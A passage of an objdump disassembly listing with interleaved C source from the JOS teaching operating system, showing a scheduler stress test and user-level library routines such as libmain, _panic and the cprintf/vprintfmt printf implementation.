for (i = 0; i < 10; i++) {
sys_yield();
800080: e8 8f 0b 00 00 call 800c14 <sys_yield>
800085: ba 10 27 00 00 mov $0x2710,%edx
for (j = 0; j < 10000; j++)
counter++;
80008a: a1 04 20 80 00 mov 0x802004,%eax
80008f: 83 c0 01 add $0x1,%eax
800092: a3 04 20 80 00 mov %eax,0x802004
for (j = 0; j < 10000; j++)
800097: 83 ea 01 sub $0x1,%edx
80009a: 75 ee jne 80008a <umain+0x57>
for (i = 0; i < 10; i++) {
80009c: 83 eb 01 sub $0x1,%ebx
80009f: 75 df jne 800080 <umain+0x4d>
}
if (counter != 10*10000)
8000a1: a1 04 20 80 00 mov 0x802004,%eax
8000a6: 3d a0 86 01 00 cmp $0x186a0,%eax
8000ab: 75 24 jne 8000d1 <umain+0x9e>
panic("ran on two CPUs at once (counter is %d)", counter);
// Check that we see environments running on different CPUs
cprintf("[%08x] stresssched on CPU %d\n", thisenv->env_id, thisenv->env_cpunum);
8000ad: a1 08 20 80 00 mov 0x802008,%eax
8000b2: 8b 50 5c mov 0x5c(%eax),%edx
8000b5: 8b 40 48 mov 0x48(%eax),%eax
8000b8: 83 ec 04 sub $0x4,%esp
8000bb: 52 push %edx
8000bc: 50 push %eax
8000bd: 68 db 13 80 00 push $0x8013db
8000c2: e8 54 01 00 00 call 80021b <cprintf>
8000c7: 83 c4 10 add $0x10,%esp
}
8000ca: 8d 65 f8 lea -0x8(%ebp),%esp
8000cd: 5b pop %ebx
8000ce: 5e pop %esi
8000cf: 5d pop %ebp
8000d0: c3 ret
panic("ran on two CPUs at once (counter is %d)", counter);
8000d1: a1 04 20 80 00 mov 0x802004,%eax
8000d6: 50 push %eax
8000d7: 68 a0 13 80 00 push $0x8013a0
8000dc: 6a 21 push $0x21
8000de: 68 c8 13 80 00 push $0x8013c8
8000e3: e8 58 00 00 00 call 800140 <_panic>
008000e8 <libmain>:
const volatile struct Env *thisenv;
const char *binaryname = "<unknown>";
void
libmain(int argc, char **argv)
{
8000e8: 55 push %ebp
8000e9: 89 e5 mov %esp,%ebp
8000eb: 56 push %esi
8000ec: 53 push %ebx
8000ed: 8b 5d 08 mov 0x8(%ebp),%ebx
8000f0: 8b 75 0c mov 0xc(%ebp),%esi
// set thisenv to point at our Env structure in envs[].
// LAB 3: Your code here.
envid_t envid = sys_getenvid();
8000f3: e8 fd 0a 00 00 call 800bf5 <sys_getenvid>
thisenv = envs + ENVX(envid);
8000f8: 25 ff 03 00 00 and $0x3ff,%eax
8000fd: 6b c0 7c imul $0x7c,%eax,%eax
800100: 05 00 00 c0 ee add $0xeec00000,%eax
800105: a3 08 20 80 00 mov %eax,0x802008
// save the name of the program so that panic() can use it
if (argc > 0)
80010a: 85 db test %ebx,%ebx
80010c: 7e 07 jle 800115 <libmain+0x2d>
binaryname = argv[0];
80010e: 8b 06 mov (%esi),%eax
800110: a3 00 20 80 00 mov %eax,0x802000
// call user main routine
umain(argc, argv);
800115: 83 ec 08 sub $0x8,%esp
800118: 56 push %esi
800119: 53 push %ebx
80011a: e8 14 ff ff ff call 800033 <umain>
// exit gracefully
exit();
80011f: e8 0a 00 00 00 call 80012e <exit>
}
800124: 83 c4 10 add $0x10,%esp
800127: 8d 65 f8 lea -0x8(%ebp),%esp
80012a: 5b pop %ebx
80012b: 5e pop %esi
80012c: 5d pop %ebp
80012d: c3 ret
0080012e <exit>:
#include <inc/lib.h>
void
exit(void)
{
80012e: 55 push %ebp
80012f: 89 e5 mov %esp,%ebp
800131: 83 ec 14 sub $0x14,%esp
// close_all();
sys_env_destroy(0);
800134: 6a 00 push $0x0
800136: e8 79 0a 00 00 call 800bb4 <sys_env_destroy>
}
80013b: 83 c4 10 add $0x10,%esp
80013e: c9 leave
80013f: c3 ret
00800140 <_panic>:
* It prints "panic: <message>", then causes a breakpoint exception,
* which causes JOS to enter the JOS kernel monitor.
*/
void
_panic(const char *file, int line, const char *fmt, ...)
{
800140: 55 push %ebp
800141: 89 e5 mov %esp,%ebp
800143: 56 push %esi
800144: 53 push %ebx
va_list ap;
va_start(ap, fmt);
800145: 8d 5d 14 lea 0x14(%ebp),%ebx
// Print the panic message
cprintf("[%08x] user panic in %s at %s:%d: ",
800148: 8b 35 00 20 80 00 mov 0x802000,%esi
80014e: e8 a2 0a 00 00 call 800bf5 <sys_getenvid>
800153: 83 ec 0c sub $0xc,%esp
800156: ff 75 0c pushl 0xc(%ebp)
800159: ff 75 08 pushl 0x8(%ebp)
80015c: 56 push %esi
80015d: 50 push %eax
80015e: 68 04 14 80 00 push $0x801404
800163: e8 b3 00 00 00 call 80021b <cprintf>
sys_getenvid(), binaryname, file, line);
vcprintf(fmt, ap);
800168: 83 c4 18 add $0x18,%esp
80016b: 53 push %ebx
80016c: ff 75 10 pushl 0x10(%ebp)
80016f: e8 56 00 00 00 call 8001ca <vcprintf>
cprintf("\n");
800174: c7 04 24 f7 13 80 00 movl $0x8013f7,(%esp)
80017b: e8 9b 00 00 00 call 80021b <cprintf>
800180: 83 c4 10 add $0x10,%esp
// Cause a breakpoint exception
while (1)
asm volatile("int3");
800183: cc int3
800184: eb fd jmp 800183 <_panic+0x43>
00800186 <putch>:
};
static void
putch(int ch, struct printbuf *b)
{
800186: 55 push %ebp
800187: 89 e5 mov %esp,%ebp
800189: 53 push %ebx
80018a: 83 ec 04 sub $0x4,%esp
80018d: 8b 5d 0c mov 0xc(%ebp),%ebx
b->buf[b->idx++] = ch;
800190: 8b 13 mov (%ebx),%edx
800192: 8d 42 01 lea 0x1(%edx),%eax
800195: 89 03 mov %eax,(%ebx)
800197: 8b 4d 08 mov 0x8(%ebp),%ecx
80019a: 88 4c 13 08 mov %cl,0x8(%ebx,%edx,1)
if (b->idx == 256-1) {
80019e: 3d ff 00 00 00 cmp $0xff,%eax
8001a3: 74 09 je 8001ae <putch+0x28>
sys_cputs(b->buf, b->idx);
b->idx = 0;
}
b->cnt++;
8001a5: 83 43 04 01 addl $0x1,0x4(%ebx)
}
8001a9: 8b 5d fc mov -0x4(%ebp),%ebx
8001ac: c9 leave
8001ad: c3 ret
sys_cputs(b->buf, b->idx);
8001ae: 83 ec 08 sub $0x8,%esp
8001b1: 68 ff 00 00 00 push $0xff
8001b6: 8d 43 08 lea 0x8(%ebx),%eax
8001b9: 50 push %eax
8001ba: e8 b8 09 00 00 call 800b77 <sys_cputs>
b->idx = 0;
8001bf: c7 03 00 00 00 00 movl $0x0,(%ebx)
8001c5: 83 c4 10 add $0x10,%esp
8001c8: eb db jmp 8001a5 <putch+0x1f>
008001ca <vcprintf>:
int
vcprintf(const char *fmt, va_list ap)
{
8001ca: 55 push %ebp
8001cb: 89 e5 mov %esp,%ebp
8001cd: 81 ec 18 01 00 00 sub $0x118,%esp
struct printbuf b;
b.idx = 0;
8001d3: c7 85 f0 fe ff ff 00 movl $0x0,-0x110(%ebp)
8001da: 00 00 00
b.cnt = 0;
8001dd: c7 85 f4 fe ff ff 00 movl $0x0,-0x10c(%ebp)
8001e4: 00 00 00
vprintfmt((void*)putch, &b, fmt, ap);
8001e7: ff 75 0c pushl 0xc(%ebp)
8001ea: ff 75 08 pushl 0x8(%ebp)
8001ed: 8d 85 f0 fe ff ff lea -0x110(%ebp),%eax
8001f3: 50 push %eax
8001f4: 68 86 01 80 00 push $0x800186
8001f9: e8 1a 01 00 00 call 800318 <vprintfmt>
sys_cputs(b.buf, b.idx);
8001fe: 83 c4 08 add $0x8,%esp
800201: ff b5 f0 fe ff ff pushl -0x110(%ebp)
800207: 8d 85 f8 fe ff ff lea -0x108(%ebp),%eax
80020d: 50 push %eax
80020e: e8 64 09 00 00 call 800b77 <sys_cputs>
return b.cnt;
}
800213: 8b 85 f4 fe ff ff mov -0x10c(%ebp),%eax
800219: c9 leave
80021a: c3 ret
0080021b <cprintf>:
int
cprintf(const char *fmt, ...)
{
80021b: 55 push %ebp
80021c: 89 e5 mov %esp,%ebp
80021e: 83 ec 10 sub $0x10,%esp
va_list ap;
int cnt;
va_start(ap, fmt);
800221: 8d 45 0c lea 0xc(%ebp),%eax
cnt = vcprintf(fmt, ap);
800224: 50 push %eax
800225: ff 75 08 pushl 0x8(%ebp)
800228: e8 9d ff ff ff call 8001ca <vcprintf>
va_end(ap);
return cnt;
}
80022d: c9 leave
80022e: c3 ret
0080022f <printnum>:
* using specified putch function and associated pointer putdat.
*/
static void
printnum(void (*putch)(int, void*), void *putdat,
unsigned long long num, unsigned base, int width, int padc)
{
80022f: 55 push %ebp
800230: 89 e5 mov %esp,%ebp
800232: 57 push %edi
800233: 56 push %esi
800234: 53 push %ebx
800235: 83 ec 1c sub $0x1c,%esp
800238: 89 c7 mov %eax,%edi
80023a: 89 d6 mov %edx,%esi
80023c: 8b 45 08 mov 0x8(%ebp),%eax
80023f: 8b 55 0c mov 0xc(%ebp),%edx
800242: 89 45 d8 mov %eax,-0x28(%ebp)
800245: 89 55 dc mov %edx,-0x24(%ebp)
// first recursively print all preceding (more significant) digits
if (num >= base) {
800248: 8b 4d 10 mov 0x10(%ebp),%ecx
80024b: bb 00 00 00 00 mov $0x0,%ebx
800250: 89 4d e0 mov %ecx,-0x20(%ebp)
800253: 89 5d e4 mov %ebx,-0x1c(%ebp)
800256: 39 d3 cmp %edx,%ebx
800258: 72 05 jb 80025f <printnum+0x30>
80025a: 39 45 10 cmp %eax,0x10(%ebp)
80025d: 77 7a ja 8002d9 <printnum+0xaa>
printnum(putch, putdat, num / base, base, width - 1, padc);
80025f: 83 ec 0c sub $0xc,%esp
800262: ff 75 18 pushl 0x18(%ebp)
800265: 8b 45 14 mov 0x14(%ebp),%eax
800268: 8d 58 ff lea -0x1(%eax),%ebx
80026b: 53 push %ebx
80026c: ff 75 10 pushl 0x10(%ebp)
80026f: 83 ec 08 sub $0x8,%esp
800272: ff 75 e4 pushl -0x1c(%ebp)
800275: ff 75 e0 pushl -0x20(%ebp)
800278: ff 75 dc pushl -0x24(%ebp)
80027b: ff 75 d8 pushl -0x28(%ebp)
80027e: e8 dd 0e 00 00 call 801160 <__udivdi3>
800283: 83 c4 18 add $0x18,%esp
800286: 52 push %edx
800287: 50 push %eax
800288: 89 f2 mov %esi,%edx
80028a: 89 f8 mov %edi,%eax
80028c: e8 9e ff ff ff call 80022f <printnum>
800291: 83 c4 20 add $0x20,%esp
800294: eb 13 jmp 8002a9 <printnum+0x7a>
} else {
// print any needed pad characters before first digit
while (--width > 0)
putch(padc, putdat);
800296: 83 ec 08 sub $0x8,%esp
800299: 56 push %esi
80029a: ff 75 18 pushl 0x18(%ebp)
80029d: ff d7 call *%edi
80029f: 83 c4 10 add $0x10,%esp
while (--width > 0)
8002a2: 83 eb 01 sub $0x1,%ebx
8002a5: 85 db test %ebx,%ebx
8002a7: 7f ed jg 800296 <printnum+0x67>
}
// then print this (the least significant) digit
putch("0123456789abcdef"[num % base], putdat);
8002a9: 83 ec 08 sub $0x8,%esp
8002ac: 56 push %esi
8002ad: 83 ec 04 sub $0x4,%esp
8002b0: ff 75 e4 pushl -0x1c(%ebp)
8002b3: ff 75 e0 pushl -0x20(%ebp)
8002b6: ff 75 dc pushl -0x24(%ebp)
8002b9: ff 75 d8 pushl -0x28(%ebp)
8002bc: e8 bf 0f 00 00 call 801280 <__umoddi3>
8002c1: 83 c4 14 add $0x14,%esp
8002c4: 0f be 80 27 14 80 00 movsbl 0x801427(%eax),%eax
8002cb: 50 push %eax
8002cc: ff d7 call *%edi
}
8002ce: 83 c4 10 add $0x10,%esp
8002d1: 8d 65 f4 lea -0xc(%ebp),%esp
8002d4: 5b pop %ebx
8002d5: 5e pop %esi
8002d6: 5f pop %edi
8002d7: 5d pop %ebp
8002d8: c3 ret
8002d9: 8b 5d 14 mov 0x14(%ebp),%ebx
8002dc: eb c4 jmp 8002a2 <printnum+0x73>
008002de <sprintputch>:
int cnt;
};
static void
sprintputch(int ch, struct sprintbuf *b)
{
8002de: 55 push %ebp
8002df: 89 e5 mov %esp,%ebp
8002e1: 8b 45 0c mov 0xc(%ebp),%eax
b->cnt++;
8002e4: 83 40 08 01 addl $0x1,0x8(%eax)
if (b->buf < b->ebuf)
8002e8: 8b 10 mov (%eax),%edx
8002ea: 3b 50 04 cmp 0x4(%eax),%edx
8002ed: 73 0a jae 8002f9 <sprintputch+0x1b>
*b->buf++ = ch;
8002ef: 8d 4a 01 lea 0x1(%edx),%ecx
8002f2: 89 08 mov %ecx,(%eax)
8002f4: 8b 45 08 mov 0x8(%ebp),%eax
8002f7: 88 02 mov %al,(%edx)
}
8002f9: 5d pop %ebp
8002fa: c3 ret
008002fb <printfmt>:
{
8002fb: 55 push %ebp
8002fc: 89 e5 mov %esp,%ebp
8002fe: 83 ec 08 sub $0x8,%esp
va_start(ap, fmt);
800301: 8d 45 14 lea 0x14(%ebp),%eax
vprintfmt(putch, putdat, fmt, ap);
800304: 50 push %eax
800305: ff 75 10 pushl 0x10(%ebp)
800308: ff 75 0c pushl 0xc(%ebp)
80030b: ff 75 08 pushl 0x8(%ebp)
80030e: e8 05 00 00 00 call 800318 <vprintfmt>
}
800313: 83 c4 10 add $0x10,%esp
800316: c9 leave
800317: c3 ret
00800318 <vprintfmt>:
{
800318: 55 push %ebp
800319: 89 e5 mov %esp,%ebp
80031b: 57 push %edi
80031c: 56 push %esi
80031d: 53 push %ebx
80031e: 83 ec 2c sub $0x2c,%esp
800321: 8b 75 08 mov 0x8(%ebp),%esi
800324: 8b 5d 0c mov 0xc(%ebp),%ebx
800327: 8b 7d 10 mov 0x10(%ebp),%edi
80032a: e9 c1 03 00 00 jmp 8006f0 <vprintfmt+0x3d8>
padc = ' ';
80032f: c6 45 d4 20 movb $0x20,-0x2c(%ebp)
altflag = 0;
800333: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
precision = -1;
80033a: c7 45 d0 ff ff ff ff movl $0xffffffff,-0x30(%ebp)
width = -1;
800341: c7 45 e0 ff ff ff ff movl $0xffffffff,-0x20(%ebp)
lflag = 0;
800348: b9 00 00 00 00 mov $0x0,%ecx
switch (ch = *(unsigned char *) fmt++) {
80034d: 8d 47 01 lea 0x1(%edi),%eax
800350: 89 45 e4 mov %eax,-0x1c(%ebp)
800353: 0f b6 17 movzbl (%edi),%edx
800356: 8d 42 dd lea -0x23(%edx),%eax
800359: 3c 55 cmp $0x55,%al
80035b: 0f 87 12 04 00 00 ja 800773 <vprintfmt+0x45b>
800361: 0f b6 c0 movzbl %al,%eax
800364: ff 24 85 60 15 80 00 jmp *0x801560(,%eax,4)
80036b: 8b 7d e4 mov -0x1c(%ebp),%edi
padc = '-';
80036e: c6 45 d4 2d movb $0x2d,-0x2c(%ebp)
800372: eb d9 jmp 80034d <vprintfmt+0x35>
switch (ch = *(unsigned char *) fmt++) {
800374: 8b 7d e4 mov -0x1c(%ebp),%edi
padc = '0';
800377: c6 45 d4 30 movb $0x30,-0x2c(%ebp)
80037b: eb d0 jmp 80034d <vprintfmt+0x35>
switch (ch = *(unsigned char *) fmt++) {
80037d: 0f b6 d2 movzbl %dl,%edx
800380: 8b 7d e4 mov -0x1c(%ebp),%edi
for (precision = 0; ; ++fmt) {
800383: b8 00 00 00 00 mov $0x0,%eax
800388: 89 4d e4 mov %ecx,-0x1c(%ebp)
precision = precision * 10 + ch - '0';
80038b: 8d 04 80 lea (%eax,%eax,4),%eax
80038e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
ch = *fmt;
800392: 0f be 17 movsbl (%edi),%edx
if (ch < '0' || ch > '9')
800395: 8d 4a d0 lea -0x30(%edx),%ecx
800398: 83 f9 09 cmp $0x9,%ecx
80039b: 77 55 ja 8003f2 <vprintfmt+0xda>
for (precision = 0; ; ++fmt) {
80039d: 83 c7 01 add $0x1,%edi
precision = precision * 10 + ch - '0';
8003a0: eb e9 jmp 80038b <vprintfmt+0x73>
precision = va_arg(ap, int);
8003a2: 8b 45 14 mov 0x14(%ebp),%eax
8003a5: 8b 00 mov (%eax),%eax
8003a7: 89 45 d0 mov %eax,-0x30(%ebp)
8003aa: 8b 45 14 mov 0x14(%ebp),%eax
8003ad: 8d 40 04 lea 0x4(%eax),%eax
8003b0: 89 45 14 mov %eax,0x14(%ebp)
switch (ch = *(unsigned char *) fmt++) {
8003b3: 8b 7d e4 mov -0x1c(%ebp),%edi
if (width < 0)
8003b6: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
8003ba: 79 91 jns 80034d <vprintfmt+0x35>
width = precision, precision = -1;
8003bc: 8b 45 d0 mov -0x30(%ebp),%eax
8003bf: 89 45 e0 mov %eax,-0x20(%ebp)
8003c2: c7 45 d0 ff ff ff ff movl $0xffffffff,-0x30(%ebp)
8003c9: eb 82 jmp 80034d <vprintfmt+0x35>
8003cb: 8b 45 e0 mov -0x20(%ebp),%eax
8003ce: 85 c0 test %eax,%eax
8003d0: ba 00 00 00 00 mov $0x0,%edx
8003d5: 0f 49 d0 cmovns %eax,%edx
8003d8: 89 55 e0 mov %edx,-0x20(%ebp)
switch (ch = *(unsigned char *) fmt++) {
8003db: 8b 7d e4 mov -0x1c(%ebp),%edi
8003de: e9 6a ff ff ff jmp 80034d <vprintfmt+0x35>
8003e3: 8b 7d e4 mov -0x1c(%ebp),%edi
altflag = 1;
8003e6: c7 45 d8 01 00 00 00 movl $0x1,-0x28(%ebp)
goto reswitch;
8003ed: e9 5b ff ff ff jmp 80034d <vprintfmt+0x35>
8003f2: 8b 4d e4 mov -0x1c(%ebp),%ecx
8003f5: 89 45 d0 mov %eax,-0x30(%ebp)
8003f8: eb bc jmp 8003b6 <vprintfmt+0x9e>
lflag++;
8003fa: 83 c1 01 add $0x1,%ecx
switch (ch = *(unsigned char *) fmt++) {
8003fd: 8b 7d e4 mov -0x1c(%ebp),%edi
goto reswitch;
800400: e9 48 ff ff ff jmp 80034d <vprintfmt+0x35>
putch(va_arg(ap, int), putdat);
800405: 8b 45 14 mov 0x14(%ebp),%eax
800408: 8d 78 04 lea 0x4(%eax),%edi
80040b: 83 ec 08 sub $0x8,%esp
80040e: 53 push %ebx
80040f: ff 30 pushl (%eax)
800411: ff d6 call *%esi
break;
800413: 83 c4 10 add $0x10,%esp
putch(va_arg(ap, int), putdat);
800416: 89 7d 14 mov %edi,0x14(%ebp)
break;
800419: e9 cf 02 00 00 jmp 8006ed <vprintfmt+0x3d5>
err = va_arg(ap, int);
80041e: 8b 45 14 mov 0x14(%ebp),%eax
800421: 8d 78 04 lea 0x4(%eax),%edi
800424: 8b 00 mov (%eax),%eax
800426: 99 cltd
800427: 31 d0 xor %edx,%eax
800429: 29 d0 sub %edx,%eax
if (err >= MAXERROR || (p = error_string[err]) == NULL)
80042b: 83 f8 0f cmp $0xf,%eax
80042e: 7f 23 jg 800453 <vprintfmt+0x13b>
800430: 8b 14 85 c0 16 80 00 mov 0x8016c0(,%eax,4),%edx
800437: 85 d2 test %edx,%edx
800439: 74 18 je 800453 <vprintfmt+0x13b>
printfmt(putch, putdat, "%s", p);
80043b: 52 push %edx
80043c: 68 48 14 80 00 push $0x801448
800441: 53 push %ebx
800442: 56 push %esi
800443: e8 b3 fe ff ff call 8002fb <printfmt>
800448: 83 c4 10 add $0x10,%esp
err = va_arg(ap, int);
80044b: 89 7d 14 mov %edi,0x14(%ebp)
80044e: e9 9a 02 00 00 jmp 8006ed <vprintfmt+0x3d5>
printfmt(putch, putdat, "error %d", err);
800453: 50 push %eax
800454: 68 3f 14 80 00 push $0x80143f
800459: 53 push %ebx
80045a: 56 push %esi
80045b: e8 9b fe ff ff call 8002fb <printfmt>
800460: 83 c4 10 add $0x10,%esp
err = va_arg(ap, int);
800463: 89 7d 14 mov %edi,0x14(%ebp)
printfmt(putch, putdat, "error %d", err);
800466: e9 82 02 00 00 jmp 8006ed <vprintfmt+0x3d5>
if ((p = va_arg(ap, char *)) == NULL)
80046b: 8b 45 14 mov 0x14(%ebp),%eax
80046e: 83 c0 04 add $0x4,%eax
800471: 89 45 cc mov %eax,-0x34(%ebp)
800474: 8b 45 14 mov 0x14(%ebp),%eax
800477: 8b 38 mov (%eax),%edi
p = "(null)";
800479: 85 ff test %edi,%edi
80047b: b8 38 14 80 00 mov $0x801438,%eax
800480: 0f 44 f8 cmove %eax,%edi
if (width > 0 && padc != '-')
800483: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
800487: 0f 8e bd 00 00 00 jle 80054a <vprintfmt+0x232>
80048d: 80 7d d4 2d cmpb $0x2d,-0x2c(%ebp)
800491: 75 0e jne 8004a1 <vprintfmt+0x189>
800493: 89 75 08 mov %esi,0x8(%ebp)
800496: 8b 75 d0 mov -0x30(%ebp),%esi
800499: 89 5d 0c mov %ebx,0xc(%ebp)
80049c: 8b 5d e0 mov -0x20(%ebp),%ebx
80049f: eb 6d jmp 80050e <vprintfmt+0x1f6>
for (width -= strnlen(p, precision); width > 0; width--)
8004a1: 83 ec 08 sub $0x8,%esp
8004a4: ff 75 d0 pushl -0x30(%ebp)
8004a7: 57 push %edi
8004a8: e8 6e 03 00 00 call 80081b <strnlen>
8004ad: 8b 4d e0 mov -0x20(%ebp),%ecx
8004b0: 29 c1 sub %eax,%ecx
8004b2: 89 4d c8 mov %ecx,-0x38(%ebp)
8004b5: 83 c4 10 add $0x10,%esp
putch(padc, putdat);
8004b8: 0f be 45 d4 movsbl -0x2c(%ebp),%eax
8004bc: 89 45 e0 mov %eax,-0x20(%ebp)
8004bf: 89 7d d4 mov %edi,-0x2c(%ebp)
8004c2: 89 cf mov %ecx,%edi
for (width -= strnlen(p, precision); width > 0; width--)
8004c4: eb 0f jmp 8004d5 <vprintfmt+0x1bd>
putch(padc, putdat);
8004c6: 83 ec 08 sub $0x8,%esp
8004c9: 53 push %ebx
8004ca: ff 75 e0 pushl -0x20(%ebp)
8004cd: ff d6 call *%esi
for (width -= strnlen(p, precision); width > 0; width--)
8004cf: 83 ef 01 sub $0x1,%edi
8004d2: 83 c4 10 add $0x10,%esp
8004d5: 85 ff test %edi,%edi
8004d7: 7f ed jg 8004c6 <vprintfmt+0x1ae>
8004d9: 8b 7d d4 mov -0x2c(%ebp),%edi
8004dc: 8b 4d c8 mov -0x38(%ebp),%ecx
8004df: 85 c9 test %ecx,%ecx
8004e1: b8 00 00 00 00 mov $0x0,%eax
8004e6: 0f 49 c1 cmovns %ecx,%eax
8004e9: 29 c1 sub %eax,%ecx
8004eb: 89 75 08 mov %esi,0x8(%ebp)
8004ee: 8b 75 d0 mov -0x30(%ebp),%esi
8004f1: 89 5d 0c mov %ebx,0xc(%ebp)
8004f4: 89 cb mov %ecx,%ebx
8004f6: eb 16 jmp 80050e <vprintfmt+0x1f6>
if (altflag && (ch < ' ' || ch > '~'))
8004f8: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
8004fc: 75 31 jne 80052f <vprintfmt+0x217>
putch(ch, putdat);
8004fe: 83 ec 08 sub $0x8,%esp
800501: ff 75 0c pushl 0xc(%ebp)
800504: 50 push %eax
800505: ff 55 08 call *0x8(%ebp)
800508: 83 c4 10 add $0x10,%esp
for (; (ch = *p++) != '\0' && (precision < 0 || --precision >= 0); width--)
80050b: 83 eb 01 sub $0x1,%ebx
80050e: 83 c7 01 add $0x1,%edi
800511: 0f b6 57 ff movzbl -0x1(%edi),%edx
800515: 0f be c2 movsbl %dl,%eax
800518: 85 c0 test %eax,%eax
80051a: 74 59 je 800575 <vprintfmt+0x25d>
80051c: 85 f6 test %esi,%esi
80051e: 78 d8 js 8004f8 <vprintfmt+0x1e0>
800520: 83 ee 01 sub $0x1,%esi
800523: 79 d3 jns 8004f8 <vprintfmt+0x1e0>
800525: 89 df mov %ebx,%edi
800527: 8b 75 08 mov 0x8(%ebp),%esi
80052a: 8b 5d 0c mov 0xc(%ebp),%ebx
80052d: eb 37 jmp 800566 <vprintfmt+0x24e>
if (altflag && (ch < ' ' || ch > '~'))
80052f: 0f be d2 movsbl %dl,%edx
800532: 83 ea 20 sub $0x20,%edx
800535: 83 fa 5e cmp $0x5e,%edx
800538: 76 c4 jbe 8004fe <vprintfmt+0x1e6>
putch('?', putdat);
80053a: 83 ec 08 sub $0x8,%esp
80053d: ff 75 0c pushl 0xc(%ebp)
800540: 6a 3f push $0x3f
800542: ff 55 08 call *0x8(%ebp)
800545: 83 c4 10 add $0x10,%esp
800548: eb c1 jmp 80050b <vprintfmt+0x1f3>
80054a: 89 75 08 mov %esi,0x8(%ebp)
80054d: 8b 75 d0 mov -0x30(%ebp),%esi
800550: 89 5d 0c mov %ebx,0xc(%ebp)
800553: 8b 5d e0 mov -0x20(%ebp),%ebx
800556: eb b6 jmp 80050e <vprintfmt+0x1f6>
putch(' ', putdat);
800558: 83 ec 08 sub $0x8,%esp
80055b: 53 push %ebx
80055c: 6a 20 push $0x20
80055e: ff d6 call *%esi
for (; width > 0; width--)
800560: 83 ef 01 sub $0x1,%edi
800563: 83 c4 10 add $0x10,%esp
800566: 85 ff test %edi,%edi
800568: 7f ee jg 800558 <vprintfmt+0x240>
if ((p = va_arg(ap, char *)) == NULL)
80056a: 8b 45 cc mov -0x34(%ebp),%eax
80056d: 89 45 14 mov %eax,0x14(%ebp)
800570: e9 78 01 00 00 jmp 8006ed <vprintfmt+0x3d5>
800575: 89 df mov %ebx,%edi
800577: 8b 75 08 mov 0x8(%ebp),%esi
80057a: 8b 5d 0c mov 0xc(%ebp),%ebx
80057d: eb e7 jmp 800566 <vprintfmt+0x24e>
if (lflag >= 2)
80057f: 83 f9 01 cmp $0x1,%ecx
800582: 7e 3f jle 8005c3 <vprintfmt+0x2ab>
return va_arg(*ap, long long);
800584: 8b 45 14 mov 0x14(%ebp),%eax
800587: 8b 50 04 mov 0x4(%eax),%edx
80058a: 8b 00 mov (%eax),%eax
80058c: 89 45 d8 mov %eax,-0x28(%ebp)
80058f: 89 55 dc mov %edx,-0x24(%ebp)
800592: 8b 45 14 mov 0x14(%ebp),%eax
800595: 8d 40 08 lea 0x8(%eax),%eax
800598: 89 45 14 mov %eax,0x14(%ebp)
if ((long long) num < 0) {
80059b: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
80059f: 79 5c jns 8005fd <vprintfmt+0x2e5>
putch('-', putdat);
8005a1: 83 ec 08 sub $0x8,%esp
8005a4: 53 push %ebx
8005a5: 6a 2d push $0x2d
8005a7: ff d6 call *%esi
num = -(long long) num;
8005a9: 8b 55 d8 mov -0x28(%ebp),%edx
8005ac: 8b 4d dc mov -0x24(%ebp),%ecx
8005af: f7 da neg %edx
8005b1: 83 d1 00 adc $0x0,%ecx
8005b4: f7 d9 neg %ecx
8005b6: 83 c4 10 add $0x10,%esp
base = 10;
8005b9: b8 0a 00 00 00 mov $0xa,%eax
8005be: e9 10 01 00 00 jmp 8006d3 <vprintfmt+0x3bb>
else if (lflag)
8005c3: 85 c9 test %ecx,%ecx
8005c5: 75 1b jne 8005e2 <vprintfmt+0x2ca>
return va_arg(*ap, int);
8005c7: 8b 45 14 mov 0x14(%ebp),%eax
8005ca: 8b 00 mov (%eax),%eax
8005cc: 89 45 d8 mov %eax,-0x28(%ebp)
8005cf: 89 c1 mov %eax,%ecx
8005d1: c1 f9 1f sar $0x1f,%ecx
8005d4: 89 4d dc mov %ecx,-0x24(%ebp)
8005d7: 8b 45 14 mov 0x14(%ebp),%eax
8005da: 8d 40 04 lea 0x4(%eax),%eax
8005dd: 89 45 14 mov %eax,0x14(%ebp)
8005e0: eb b9 jmp 80059b <vprintfmt+0x283>
return va_arg(*ap, long);
8005e2: 8b 45 14 mov 0x14(%ebp),%eax
8005e5: 8b 00 mov (%eax),%eax
8005e7: 89 45 d8 mov %eax,-0x28(%ebp)
8005ea: 89 c1 mov %eax,%ecx
8005ec: c1 f9 1f sar $0x1f,%ecx
8005ef: 89 4d dc mov %ecx,-0x24(%ebp)
8005f2: 8b 45 14 mov 0x14(%ebp),%eax
8005f5: 8d 40 04 lea 0x4(%eax),%eax
8005f8: 89 45 14 mov %eax,0x14(%ebp)
8005fb: eb 9e jmp 80059b <vprintfmt+0x283>
num = getint(&ap, lflag);
8005fd: 8b 55 d8 mov -0x28(%ebp),%edx
800600: 8b 4d dc mov -0x24(%ebp),%ecx
base = 10;
800603: b8 0a 00 00 00 mov $0xa,%eax
800608: e9 c6 00 00 00 jmp 8006d3 <vprintfmt+0x3bb>
if (lflag >= 2)
80060d: 83 f9 01 cmp $0x1,%ecx
800610: 7e 18 jle 80062a <vprintfmt+0x312>
return va_arg(*ap, unsigned long long);
800612: 8b 45 14 mov 0x14(%ebp),%eax
800615: 8b 10 mov (%eax),%edx
800617: 8b 48 04 mov 0x4(%eax),%ecx
80061a: 8d 40 08 lea 0x8(%eax),%eax
80061d: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
800620: b8 0a 00 00 00 mov $0xa,%eax
800625: e9 a9 00 00 00 jmp 8006d3 <vprintfmt+0x3bb>
else if (lflag)
80062a: 85 c9 test %ecx,%ecx
80062c: 75 1a jne 800648 <vprintfmt+0x330>
return va_arg(*ap, unsigned int);
80062e: 8b 45 14 mov 0x14(%ebp),%eax
800631: 8b 10 mov (%eax),%edx
800633: b9 00 00 00 00 mov $0x0,%ecx
800638: 8d 40 04 lea 0x4(%eax),%eax
80063b: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
80063e: b8 0a 00 00 00 mov $0xa,%eax
800643: e9 8b 00 00 00 jmp 8006d3 <vprintfmt+0x3bb>
return va_arg(*ap, unsigned long);
800648: 8b 45 14 mov 0x14(%ebp),%eax
80064b: 8b 10 mov (%eax),%edx
80064d: b9 00 00 00 00 mov $0x0,%ecx
800652: 8d 40 04 lea 0x4(%eax),%eax
800655: 89 45 14 mov %eax,0x14(%ebp)
base = 10;
